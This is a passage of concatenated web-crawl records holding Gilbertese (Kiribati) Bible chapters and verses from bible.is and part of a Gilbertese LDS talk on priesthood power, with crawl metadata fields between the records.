nakonako. 12Ao a titirakinna ni kaangai, Antai te aomata ane e kaangai nakoim, Tabeka nnem ni wene, ao nakonako? 13Ma teuare e kamaiuaki e aki ataia bwa antai Teuare E kamaiua, bwa a bati aomata n te tabo arei, ao E a kamani buutaki nako Iesu mai buakoia. 14E aki rangi ni maan i mwiin arei, ao Iesu E noora teuarei n te umwantabu, ao E taku nakoina, Noria, ko a tia ni kamaiuaki, ma ngaia are ko na aki manga bure, bwa e kaawa n riki nakoim te bwai ae e buaakaka riki. 15E nako teuarei, ao e tuangiia I-Iutaia bwa ngaia Iesu are E kamaiua. 16Ma ngaia are a bwainikiriina Iesu I-Iutaia ibukina ngke E karaoa te mwakuri ni kamaiu n te taabati. 17E kaekaia Iesu ao E taku, E mwamwakuri nako naba Tamau, ao Ngai I riai naba ni mwakuri. 18Ana taeka Iesu aikai, e a kakorakoraa riki kani kamateana irouia I-Iutaia: bwa E aki ti urua tuan te taabati, ma E atonga te Atua bwa Tamana, ao n te aro aei E a karaoia iai bwa ti te bo Ngaia ma te Atua. 19E kaekaia Iesu ngkanne ao E taku nakoia, Bon te koaua ni koaua ae I a tuangkami, bwa akea te bwai ae E konaa ni karaoia te Nati i bon irouna, ma ti are E nooria bwa E karaoia te Tama; bwa bwaai ake E karaoi te Tama, ao E karaoi naba te Nati. 20Bwa E tangira te Nati te Tama, ao E kaoti ana mwakuri ni kabane nakoina, ao ane E na kaoti riki nakoina mwakuri aika a abwaabwaki riki bwa kam aonga ni miimii. 21Bwa aron te Tama ngkae E a manga kamaiuiia aika a mate, ao E angania te maiu, ao ai aron naba te Nati, E anga te maiu nakon ane E bon taku. 22Bwa akea ae e motika taekana te Tama, ma E angan te Nati te motiki-taeka ni kabane; 23bwa a aonga ni bane aomata nako ni karinea te Nati, n ai aroia ngkai a karinea te Tama. Ane aki karinea te Nati, ao e aki karinea naba te Tama are e kanakomaia. 24Bon te koaua ni koaua ae I a tuangkami, bwa ane e ongo au taeka ao e onimakina Teuare e kanakomaiai, ao e na reke irouna te maiu are e aki toki. E na aki motikaki taekana; e a tia ni kiitana te kawai are e na mate iai, ao e a toua te kawai are e na maiu iai. 25Bon te koaua ni koaua ae I a tuangkami bwa e a roko te tai, ma e a boni kaman roko, ae a na ongo iai bwanaan Natin te Atua maate; ao a na maiu akana a ongo. 26Bwa aron te Tama ngkai Ngaia oin te maiu, ao ai aron naba te Nati: bwa E a tia te Tama ni karaoia bwa oin te maiu, 27ao E a tia n anganna te mwaaka ni motiki-taeka ngkai Natin te Aomata Ngaia. 28Kam na aki miimii n aei: bwa ane e na roko te tai ae a na bane iai n ongo bwanaana aomata ake a tia ni mate, 29ao a na oti nako mani nneia ni mate: akana a tia ni karaoa ae e raoiroi nakon te maiu, ao akana a tia ni karaoa ae e buaakaka nakon te rekenikai. 30Akea te bwai ae I konaa ni karaoia n aron te mwaaka ae iai irou. I motiki-taeka n ai aron tuangau iroun Tamau, ao e eti au motiki-taeka ibukina bwa I aki ukoukora are oin nanou, ma I ukoukora nanon Tamau are e kanakomaiai. 31Ngkana I kaotioti i bon i bukiu, ao te bwai ae I taekinna e na aki butimwaaeaki bwa te bwai ni kakoaua. 32Ma iai Tamau ae e kaotioti naba i bukiu, ao I ataia bwa ana kaotioti e boni koaua. 33Kam kanakoia taani kareke-rongorongo nakon Ioane, ao ngaia e taekini baika a koaua i bukiu. 34Tiaki bwa aongkoa I kainnanoa aia kaotioti aomata i bukiu; ma I taekina ana kaotioti Ioane bwa kam aonga ni kamaiuaki. 35Ai aron te taura Ioane are e ura ao e oota nako urana, ao kam a tia ni kariaia bwa kam na kimwaareirei n ootana i nanon tabeua te bong. 36Ma iai te bwai ni kakoaua i bukiu ae moamoa riki nakon are e kaotiotia Ioane: boni baika I karaoi, aika a mwakuuri ake E anganai te Tama bwaN na karaoi; a riki bwa bwai ni kakoaua i bukiu, ao a kaotia bwa E kanakomaiai te Tama. 37Ao te Tama are e kanakomaiai boni Ngaia naba te Tia Kakoaua i bukiu. Kam tuai n ongo bwanaana ao n nooria bwa aekara tein rabwatana; 38ao kam rawa ni butimwaaea ana taeka, ibukina bwa kam aki onimakina Teuare E kanakomaia. 39Kam ukeuke n te Baibara bwa kam taku bwa e na reke maiai iroumi te maiu are e aki toki; ao boni ngaia are e kaotioti i bukiu; 40ma kam aki kan nako Iu bwa e kaawa n reke iroumi te maiu are e aki toki. 41I aki kakaaea te kamoamoaaki mai irouia aomata. 42Ma I ataingkami bwa akea tangiran te Atua i nanomi. 43I nako mai n aran Tamau, ao kam rawa ni kan reitaki ma Ngai; ma ngkana e roko temanna bon ibukina, ao kam kan reitaki ma ngaia. 44Kam na kangaa ni konaa n onimakinai ngkai kam butimwaaea te kamoamoaaki mai iroun temanna ma temanna, ao kam aki ukoukora te kamoamoaaki mai iroun Temanna are bon ti Ngaia te Atua? 45Tai taku n ami iango bwa N na kabuaakakaingkami nakon Tamau; boni Mote are e mena ami kaantaninga irouna ae e kabuaakakaingkami. 46Ngke arona bwa kam onimakina Mote, ao kam na bon onimakinai naba, bwa ngaia ae e korea taekau. 47Ma ngkana kam aki kakoauai baike e korei, ao kam na kangaa ni kakoauai au taeka?\nIOANE 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/5","date":"2013-12-09T13:28:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163973624\/warc\/CC-MAIN-20131204133253-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1211,"character_repetition_ratio":0.046,"word_repetition_ratio":0.002,"special_characters_ratio":0.242,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:1616I kaoka are I a tia n taku, Ke e tai taku temanna bwa I baba; ao ngkana kam taku bwa I baba, ao kam na ongoraa irou ngkai kaanga I baba, bwa N na kamoamoaai naba teutana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/16","date":"2013-12-12T01:48:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164333763\/warc\/CC-MAIN-20131204133853-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999774694,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999774694442749}","num_words":54,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E tabe n nakonako Iesu, ao E noora te aomata ae e mataki ma ngke e moani bungiaki. 2A titirakinna ana reirei ao a taku, Te Tia Reirei, antai ae e bure ngkae e bungiaki ni mataki teuaei? Ngaia ke ana karo? 3E kaekaia Iesu ao E taku, E aki bungiaki ni mataki ibukin ana bure ke aia bure ana karo, ma e mataki bwa a aonga ni kaotaki ana mwakuri te Atua irouna. 4E riai bwa ti na karaoi ana mwakuri Teuare e kanakomaiai, ngkae e ngaina; e a kaani bong, ao akea ae e konaa ni mwakuri iai. 5Ngkai I mena i aonnaba, ao te oota Ngai ibukin aonnaba. 6Ngke E tia n atongi baikai Iesu, ao E baware i aontano; E kaboobooa te taano ma baawarena, ao E kabirimatan teuare e mataki iai, 7ao E taku nakoina, Ko na nako n teboki matam n te nei are Tiroam (nanon te taeka aei, Kanakoa). Ma ngaia are e nako n teboki matana, ao e oki n nooraaba. 8A taku ngkanne raona ma aomata ake a nooria rimoa ngke e bubuubuti, Tiaki teuaei are e tetekateka ni bubuubuti? 9A taku temwaangina, Boni ngaia; ao temwaangina a taku, Tiaki, ma ti te bo taraana ma ngaia. Ao teuarei e taku, Boni ngaia ngai. 10A titirakina teuarei ao a taku, Ko kangaa n nooraaba? 11E kaekaia ao e taku, E kamwaimwaa te tano ni kaboobooa te aomata are arana Iesu, ao E kabiri matau iai, ao E kaangai nakoiu, Ko na nako Tiroam, ao teboki matam iai. Ma ngaia are I nako n teboki iai, ao I a nooraaba. 12A manga titirakinna ao a kaangai, E ngaa Teuanne? Ao ngaia e taku, I aki ataia. 13A kaira teuare a a tia ni kaureaki matana nakoia Bwaritaio. 14Bon te taabati te bong are E kaboobooa iai baawarena Iesu ma te tano ao E kaure matan iai teuare e mataki. 15A manga titirakina teuare a kaureaki matana Bwaritaio, bwa a kangaa ni kaureaki matana. Ao ngaia e kaekaia ao e taku, E kabiri matau n te tano are E renganna ma baawarena; I nako n teboki matau, ao I nooraaba. 16Ma ngaia are a taku temwaangina irouia Bwaritaio, Te aomata are e karaoa aei bon tiaki mai iroun te Atua, bwa E aki kaawakina tuan te taabati. Ao temwaangina a taku, E na kangaa ni konaa ni karaoi mwakuri aika a kamiimii aika ai aron aei te aomata ae e buaakaka? Ao a aki booraoi n aia iango. 17Ma ngaia are a manga taku Bwaritaio nakon teuare e mataki ngkoa, Ko taku bwa E kaure matam; tera am taeka ibukina? Ao ngaia e taku, Bon te buraabeti. 18Ma a aki kakoauaa I-Iutaia ae e a tia ni mataki ngkoa teuarei ao ngkai e a nooraaba ni karokoa ae a weteiia ana karo, 19ma n titirakiniia ni kaangai, Natimi aei, are kam taku bwa e bungiaki ni mataki? E kangaa n nooraaba ngkai? 20A kaekaia ana karo ao a taku, Ti ataia bwa bon natira teuaei, ao ti ataia naba n ae e bungiaki ni mataki; 21ma ti aki ataia bwa e kangaa n nooraaba ngkai, ao ti aki ataia naba bwa antai ae e kaure matana. Titirakinna; e a bon ikawai, ao e konaa te taetae bon ibukina. 22A atonga aei ana karo bwa a maakuia I-Iutaia, ibukin are a tia ni kaboo nanoia n taku bwa te aomata ane e atonga Iesu bwa te Kristo, ao a na tuukia bwa e na aki manga roko ni mwaneabaia I-Iutaia. 23Ao anne bukin are a kaangai iai ana karo, E a bon ikawai; titirakinna. 24Ma ngaia are a manga wetea riki teuare e mataki ngkoa, ao a taku nakoina, Ko na berita i matan te Atua bwa ko na taekina te koaua! Ti ataia bwa te aomata are e kaure matam bon te tia bure. 25Ao ngaia e taku, Ngkana te tia bure, ao I aki ataia; ma te bwai ae I ataia ti aei: bwa I mataki ngkoa, ao ngkai I a nooraaba. 26A manga titirakinna ao a taku, Tera ae E karaoia nakoim? E kangaa ni kaure matam? 27Ao ngaia e kaekaia ao e taku, I a tia n tuangkami, ao kam aki kan ongo. E aera ngkai kam a manga tuangai bwa N na manga tuangkami riki? Kam kan riki naba bwa ana reirei? 28A taetae ni kaenaena ao a taku, Ana reirei ngkoe; ma ngaira ana reirei Mote. 29Ti ataia bwa E taetae te Atua nakoni Mote; ma Teuanne, ti aki ataia bwa E nako maia. 30E kaekaia teuarei ao e taku, Ao! E kamiimii aei! Kam aki ataa te tabo are E nako maiai, ma E kaure matau. 31Ti ataia bwa E aki ongo te Atua irouia aomata aika taani bure; ma ngkana e taromauriia te Atua te aomata, ma n ongeaaba nakoina, ao E ongo te Atua irouna. 32Akea ae e a tia n ongo ma ngke e moa n riki aonnaba bwa iai te aomata ae e konaa ni kaure matan te aomata ae e bungiaki ni mataki. 33Ngkana tiaki mai iroun te Atua Teuarei, ao akea te bwai ae E konaa ni karaoia. 34A kaeka ao a taku nakoina, Te aomata ni buubure ngkoe, ni moa man te tai are ko bungiaki iai, ao ko na reireiniira? Ao a taua ma te matoa ni kaotinakoa man aia mwaneaba I-Iutaia. 35E ongo taekan teuare e a tia ni kaureaki matana Iesu ngke e kaotinakoaki. Ngke e reke irouna, ao E titirakinna ni kaangai, Ko onimakina Natin te Aomata? 36E kaeka teuarei ao e taku, Te Uea, antai Ngaia, bwa N na onimakinna? 37E taku Iesu nakoina, Ko a tia n nooria, ao boni Ngaia ae e taetae ma ngkoe ngkai. 38Ao ngaia e taku, Te Uea, I onimaki; ao e katorobubua ni bobaraaki n taromauriia. 39Ao E taku Iesu, I roko n te aonnaba aei ni kaeti bwaai: bwa a na nooraaba akana a mataki, ao a na riki ni mataki akana a nooraaba. 40A ongo ana taeka Iesu Bwaritaio tabeman ake a kaani ma Ngaia, ao a titirakinna ni kaangai, Ao ngaira, ti mataki naba? 41E taku Iesu nakoia, Ngke arona bwa kam mataki, ao kam aki atongaki bwa kam bure ngkana kam karaoa ae e buaakaka; ma ngkai kam kaangai, Ti nooraaba, ao e bon tiku i aomi mwiin ami bure.\nIOANE 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/9","date":"2013-12-10T09:48:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164014852\/warc\/CC-MAIN-20131204133334-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1058,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N taai ake ngkoangkoa ao te Atua E taetae nakoia ara bakatibu irouia buraabeti n te tai teuana ma teuana, ao n aaro aika a bati; 2ao ni boong aikai aika kabaneani boong, E taetae nakoira iroun Natina, are E a tia n rineia bwa te tia bwaibwai ni bwaai ni kabane, ao are E karaoa te aonnaba ae e bwanin irouna; 3Ngaia raneaneani mimitongin te Atua, ao katootoongan arona ni koaua; ao E kateimatoai bwaai ni kabane aika a karikaki bwa a na waaki n aroia n ana taeka ae e mwaaka. Ngke E a tia ni kaitiaki buure, ao E tekateka i angaatain te Atua are e Mwaaka i eta; 4ngkae E a tia n riki ni kakannato riki nakoia anera n ai aron arana are E bwainna ngkae e rine riki nakon araia. 5Bwa te anera ra ae E kaangai te Atua nakoina ngkoa, Bon Natiu Ngkoe I karikiko n te bong aei? Ke ni kaangai, N na riki bwa Tamana Ngai ao Ngaia E na riki bwa Natiu? 6Ma ngke E nang kanakoa ana moa n Nati te Atua nako aon te aba, ao E kaangai, Ao a bane ana anera te Atua n taromauriia. 7Ao E taekinia anera te Atua ni kaangai: E karaoiia ana anera bwa aang, ao ana tia mwakuri bwa uran te ai; 8ma E taekina Natina ni kaangai: Ueam, te Atua, e na teimatoa n aki tootoki; ao Ko na tautaeka ma te eti i aoia am aomata. 9Ko tangira karaoan nanon te Atua, ao Ko ribaa riaoakin nanona. Ma ngaia ae E kabiriko te Atua, ae Atuam, ni bwaan te kimwaareirei bwa Ko aonga ni kimwaareirei riki i aoia raom. 10Ao E kaangai naba, Ngkoe, te Uea, Ko kawenea aan aonnaba i mwaain rikini bwaai, ao Ko karaoa karawa ni baim. 11A na mauna, ma Ko tei matoa; A na bane ni mane n ai aron te kunnikai; 12Ao ane ko na rukum n ai aron te niiniira, ao a na onikaki naba n ai aron te kunnikai: ma ai uauam nako naba Ngkoe, ao a na akea tokin am ririki. 13Ao te anera ra ae E kaangai te Atua nakoina n te tai teuana,: Ko na tekateka i angaataiu, ni karokoa I kaakiia am kairiribai bwa nneni katokaani waem? 14Tiaki bon taamnei ni kabaneia anera, aika taani mwakuri aika a kanakoaki bwa a na buokiia te koraki akana a nang karekea te kamaiuaki?\nEBERA Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/","date":"2013-12-07T00:50:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052912\/warc\/CC-MAIN-20131204131732-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":406,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:1616Ko aki ataia ngkoe ae te ainenumwa ae ko onimaki, bwa ngaia e na kamaiuaki buum iroum? Ao ngkoe ae te mwaanenumwa ae ko onimaki, ko aki ataia bwa ngaia e na kamaiuaki buum iroum? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/16","date":"2013-12-06T06:31:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049635\/warc\/CC-MAIN-20131204131729-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999246597,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999246597290039}","num_words":51,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_16ballardE a tia te Atua n anga Mwakana n akea boona nakoia ake a kariaia ao ni karinea Nakoana N ibonga, are kaineti nakon kakabwaian te maiu ae aki mamate ao te maiu are akea tokina.\nBeretitenti Packer, a ingainga nanora nakon te ka 98 ni wetion n te boem ae tikiraoi anne. Ai tamaroara te reirei ae e anganira.\nTabeua te wiki n nako n roon tairikin tain te mwaitoro, kainabau Barbara ao Ngai ti tararake ni miiakin bwain karawa. Taian itoi aika mirion aika bon raka otaia man tikiraoi. I a rairaki nakon te Pearl of Great Price ao i warekia ma te mimi n te bwai ae taekinna te Uea nakon Mote \"Ao I a tia ni kariki taian aonnaba aika aki kona ni warekaki, ao I a tia ni kariki ibukina bwa bon oin au mwakuri, ao I karikiia iroun te Nati te Mwane, are bon Au Rikitemanna\"(Moses 1:33).\nInanon ara tai te Tabo ni Kataratara ae aranaki bwa Hubble teteretikobu e a tia ni kamatoa bonganan te bwai are e a tia n noria Mote. Ni kaineti nakoia ana taan rabakau te Hubble, taian Botaki Ni Itoi aika mwaiti, are ara aonnaba ao taai bon ti mwakorona aika uarereke, e katautauaki bwa ti teuana mai buakoia ae raka iaon 200 te birion botaki ni itoi n aekaia. Irou ngai e bon rangi ni kanganga ataakina, e kanganga iangoakina, e rangi n rababa ao ni bubura Ana karikibwai te Atua.\nTariu ao mwaneu, te mwaaka are a karikaki iai karawa ma aonaaba ngkekei a karikaki n te nakoanibonga. ngaira aika membwa n te Ekaretia ti ataia bwa moan reken te mwaka n te nakoanibonga aio bon mairoun te Atua ae moan te Mwaaka ao Natina ae Iesu Kristo. Tiaki ti te nakoanibonga are te mwaaka are a karikaki iai karawa ao aonaaba, ma bon mwakan te Tia Kamaiu ni kamanena inanon Ana Mwakuri ni karaoi kakai, ni kakabwaia ao ni kamaiua te aoraki, ni kaoka te mate nakon te maiu ngkai bon Natin te Tama ae te Rikitemanna. N rinanon te maraki i Ketetemwane ao Korokota— n te aro are kakoroa bukin te tua ibukin te motikitaeka ma te nanoanga ao ni kaerekea te kamaiuaki ae akea tiana n tokanikai iaon maten te rabwata rinanon te Mangauti\nBon taian king ni kariaia n te nakoanibonga ao n te mwaaka are reke are E anga nakon Betero, Iakobo ao Ioane ao Ana Abotoro ake tabeman ni kakabwaiaia tabeman ao ni kabaeia i karawa ake a kabaeaki i aonaaba.\nTe mwaaka n te nakoanibonga bon ana bwai n tangira ae riai ao ae tabu te Atua. E kaokoro ma kariaian te nakoanibonga, are te kariaia ni mwakuri n Aran te Atua. Te kariaia anne ke te katabuaki anne e karaoaki man katokakin baai. Mwakan te nakoanibonga e tii roko ngkana a karaoia te koraki ake a tau ao ni mwakuri n aron Nanon te Atua. Ngke e kabwarabwara Beretitenti Spencer W. Kimball, \"E a tia n aganiira te Uea bwai ni kabane, bwa taan taua te nakoanibonga,, mwakoron ana kariaia, ma ti kona ni kabongana te mwaaka mai karawa man aron ara raoiroi.\" (\"Boys Need Heroes Close By,\" Ensign, May 1976, 45).\nN tamaroan boong n tain Kaokakin bwaai ao manga kateakin Ana Ekaretia Iesu Kristo n te aonaaba n te bong aei, Ioane te Tia Babetito, Betero, Iakobo ao Ioane; Mote; Eritai; ao Eria a roko nakon te aonaaba ao a kaoki rinanon te Burabeti are Iotebwa Timiti king ni kabane ao kariaia n te nakoanibonga ibukin Ana mwakuri te Atua ni boong aika kaitira.\nBon man taian king aikai, te kariaia ao te mwaaka are Ana Ekaretia Iesu Kristo are kateaki n te bong aei, ma Kristo bwa atuna ni kaira ana burabeti ae maiu Thomas S. Monson ao ni buokaki irouia aika tia ni weteaki man katabuaki bwa Abotoro.\nInanon mwakan Tamara are i Karawa ae korakora-n anga te tamnei, mwaane iai tabeia ae kaokoro n anga te nakoanibonga ma tiaki ngaiia te nakoanibonga. Mwane ao aine a kaokoro ma titebo tabeia ae kakawaki.Te aine n ti ngaia e aki kona ni karika te ataei n akea te mwane ma ngaia are te mwane e aki kona ni karaoa mwakan te nakoanibonga ni katea te utu ae akea tokina n akea te aine. N taeka riki tabeua, n tarakin te tai ae akea tokina, ni ikotakin ma te mwaka ni karikibwai ao mwakan te nakoanibonga a tibwauaki iroun te buu te mwane ao te buu te aine te mwane ao te aine a na kakorakoraia n rimwin Tamara are i Karawa . Tamaroan te tangira ni Kristian, bon te nanorinano, ao te kantaninga e na riki bwa aia bwai taanga n tararuaia ngkai a kakaei taian kakabwaia n te nakoanibonga inanon maiuia ao ibukin aia utu.\nE bon raoiroi ibukira bwa ti na ota bwa Tamara are i Karawa E a tia ni katauraoa te kawai ibukiia Natina mwaane ao natina aine a riai n reke irouia taian kakabwaia ao ni kakorakoraaki ni mwakan te nakoanibonga. Inukan Ana baire te Atua ibukiia Natina aika tamnei bon oin Ana katanoata. \"Bwa aio au mwakuri ao mimitonngiu— ni uota te aki mamate ao maiun te aomata ae akea tokina.\" (Moses 1:39).\nN te kaotioti are anganaki Iotebwa Timiti n te mwakoro 81 man te Doctrine ao Covenant, E kabwarabwara te Uea bwa mwakan te nakoanibonga e na kamanenaki ni buokiia kainnano, n tabekakirake baai aika nimamate, ao ni kakorakorai bubuaniwae aika mamara\" (te kibu 5).\n\"Ao ni karaoakin bwaai aikai kam bon karaoa te bwai ae moan te raoiroi nakoia raomi, ao ni karikirakea Mimitongina are bon ami Uea\" (D&C 81:4).\nNgkan ti iangoa tamnein buokaia aika mamara, tabekakin baai aika nimamate ao kakorakorakin bubuaniwae aika mamara, I kauringaki te ateinaine ae kakukurei ae itua ana ririki ngke kaota te tomato ae uarereke nakon tibuna te mwane are unikia ao moana ana ununiki man te kora bwa mwakoron ana kauoua ni korakin karikiraken makuri n te reirei.\nE kabwarabwara bwa man teuana te koora e na riki bwa tekaina te aroka. Ao ngkana e tararuaki te aroka aio, e na kona ni kariki tomato aika bati maan maitin te koora akanne.\nE taku, \"ao ngkanne taian koora aikanne ana unikaki ao ana rawata riki tomato aika mwaiti, ao ko a manga uniki taian ati akanne ao inanon tabeua te tai a na reke iroum mirion taian tomato\n\"Ni kabane\" e atonganga ma te mimi \"man te ati ae uarereke\"\nMa ngkanne e a manga taku, \"E kuri ni mate arokau irou, I katikua n te ruu ae rotongitong ao I mwaninga n tetebokia. Ngke I a uringa arokau aio e a bon taraa ni mate. I tang bwa I taku bwa au tomato aika a mirion a nang aki bwebwe.\"\nE rang ni kukurei imwiina n tuanga tibuna te mwane aron te \"kakai\" are riki\nE kabwarabwara, \"Momma e taku e aki mate arokau. Tao e tangira te ran teutana ao te ota ao ni iangoa manga bwebwena\n\"Ao ngaia e bon eti. I atia n rania teutana ao I kaki n te winto ibukin te ota. Ao, ketinna bwa tera?\" E titiraki. \"E a manga maiu, ao ngkai e nang karikirakei mirion tomato!\"\nAna tomato neiei a uarereke ao a bon maiureirei, ma a tia ngkoa ni mamara ao n rai ibukina bwa e aki mwananoaki ,ao ngkai tia manga tararuaia raoi ao ti noria bwa man kamanenakin te ran ao te ota ti noria bwa man ana tangira ao ana mwamwanano bain te tei n aine ae uarereke\nTariu ao mwaneu, ngkai bon tamnei aika ataei Natin Tamara are i Karawa ae tangiraki— akea tiara, ara konabwai n te raoiroi. Ma ngkana ti aki karaurau, ti kona n riki bwa te aroka are te tomato are rai. Ti kona ni kitana reirein Ana euangkerio Iesu Kristo ao n aki tararuaki man rai, ni kitanakin te ota ae itiaki iroura ao ni maiuakina ranin ana tangira te Tia Kamaiu ae akea tokina ao mwakan te nakoanibonga.\nTe koraki ake a taua te nakoanibonga ao ni bwaka man kakorakorakia ni karinea aia mwakuri ibukin ara utu ao tabeman ake a akikarekei kakabwaia are a mena ni mwakan te nakoanibonga ao a na bon riai ni kokoaua te tamnei, ni kamwawakiia man kamaiun te tamnei aika te ota ao mwakan te Atua ni maiuia—n aekakin raoi aroka aika tomato ake a bon maiu ma a tia ni manuokinaki ao a rai.\nTe mwaaka n nakoanibonga are kariki aonnaba taian itoi ao te aonaaba e kona ao ena riki bwa raon maiura ni buokiia, ni kakorakoraiia ao ni kakabwaia ara utu, raraora ao kain rarikira— N taeka teuana, karaoan te bwai are kakaraoia te Tia Kamaiu e na karaoia ngkai E mena ibuakora n te bong aei\nBon oin te mwaaka ae te nakoanibonga bwa e na kakabwaia, ao e na kamatoaia, ao ni kaitiakira bwa ti aonga ni kona ni maeka ni bootaki ma ara utu imataia ara Karo ake i Karawa ni kabaeaki n te nakoanibonga, ao ni mwakuri n Ana mwakuri te Atua ao Iesu Kristo ae kamimi bwa tina karababa n aki tokiotaia ao mimitongia\nN tokin te mwakuri aio, n tabeua te namwakaina n nako e reke au tai ni ira karaoakin bwain te witeo te kaongora ibukin te kataneiai ni kairiri n te aonaaba ae aranaki bwaKakorakoraan te Utu ao te Ekaretia rinanon te Nakoanibonga.\nKabwarabwaraan ao reirein DVD e rairaki nakon 66 taian taetae. E reireinira bwa e kanga te mwaka ae te nakoanibonga e kona ni kakabwaia, ao ni manga karekea maiura, maiuia ara utu, ao ni kabane membwa n te Ekaretia..\nE kaotia nakoira ni kabane bwa—mwane, aine, ataei, aika tia ni iein, aika mate buia, ke akea buia n aki tabe bwa tera ara kanganga— ti na kanga n riki bwa taan bwaibwai ana kakabwaia te nakoanibonga Iai 8-nakon-12 te miniti mwakoro are e kamatatai kiing, kariaiakaki, ao mwaakan te nakoanibonga ao ae na kanga ni kakorakoraia aomata, utu ao te Ekaretia\nTe tabo teuana ae onoti e raweaki tamnein te mwenga ae uarereke neiei te baeonia are tibutorun tinau, Mary Fielding Smith, Bon te aine ae mate buuna are Hyrum, tarin te Burabeti are Iotebwa ae e ikawai riki. Ngkai tabena ae te tina n tii ngaia, rinanon ana onimaki ae matoatoa ana koaua iaon te nakoanibonga, e weteaki ao ni kakabwaiaki iaon te mwaaka anne bwa e na karikirakeia ao ni kakabwaiaia natina inanon te tangira ao n otan te euangkerio. N te bong aei kanoana aika taan kairiri aika kakaonimaki ao membwa n te Ekaretia aika te nga ma te ngaa maitiia a kaitaua ibukin ana onimaki, korakoran nanona, ao ana katoto.\nTe kataneiai ibukiia taan kairiri e boou ma e tauraoi ngkai iaon te intanete n LDS org ibukira ni kabane n noria ao n taneiai iai.. Ko kona ni mataku iai ngkana e maiu man LDS org, ke ko kona ni karuoa nakon am kombiuta, am tareboon, ke te bwaai ni mwakuri..\nE titiraki te Moan Beretitentii. \" taian titeiki beretitentii ao bitiobiriki ni katabua teuana ke raka riki titeiki ke ana botaki te kauntira n te uote ni matakuakina (ni kabanea) te DVD. Titeiki ao kauntira n uote ana maroroakin karaoakin taian reirei ake a kaotaki.\" (Ana reta te Moan Beretitentii, Beberuare. 1, 2013)\nKanoanaki ikai bwa a na kaira te nano ni kamarurungia membwa n aia koram te nakoanibonga, Te Botaki n Aine, Reirei n Tabati, Ataeinimwane, Ataeinaine (kaineti nakoia ake a katauraoi ibukin te mitinare), ao ni botakin te Buraimwari, ke n te botaki ni kabane n te kanimaua n Tabati. Membwa n te kauntira a na kona ngkanne ni kaungaia n tatabemaniia ao kaaro ni kamanena te reirei aio ma aia utu. Tariu ao mwaneu, te kataneiai n reirei ni kairiri aio ibukiia membwa te Ekaretia ni kabane. Kaaro, rinanon, tibwaua ao maroroakina are ko a tia n reiakinna ao n namakinna ma natim, ao kamatakuia ao ni karaoia naba ngkoe bwa e nakona ni kakorakoraaki am utu rinanon te nakoanibonga.\nE taku Iesu:\n\"Ngkana tao iai ane kani moi ao ke nakoiu ni moi\" (Ioane 7:37)\n\"Ane mooi n te ran ae N na anganna ao e na bon aki manga taka, ma te ran ae Nna anganna bon te mwaniba n ran inanona ae koburake nako nanon te maiu are aki toki\" (Ioane 4:14).\n\"Otan te aba ngai ane irai ao e na bon aki nakonako n te ro ma e na karekea te ota ni kamaiu\" (Ioane 8:12).\nNgkana temanna mai buakomi e namakina am onimaki ke am koaua ibukin ana babaire Tamara are i Karawa bwa e karako nakon are ko ataia e na riai ngkanne n rairaki raoi nakon te Tia Kamaiu. Kariaia Ana ota ao Ana ran ni kamaiu ibukim ao am utu are te ran ao te ota a uota te maiu ni kaokia nakon te kai te tomato ae mamaara.\nNgkai I a moanna ni mimi ao ni mataku inanon ana karikibwai te Atua rinanon mwakan te nakoanibonga Ngai n aron ae I katauataua bwa e mwaiti naba ibuakomi ae mimi ngkana mwakan te Atua e reireinira ao ni kakabwaiaira e kona ni koro bukina. E bon rang korakora, man rietata ao ni kamimi..\nE taku Iotebwa Timiti, Te Nakoanibonga bon te reirei ae 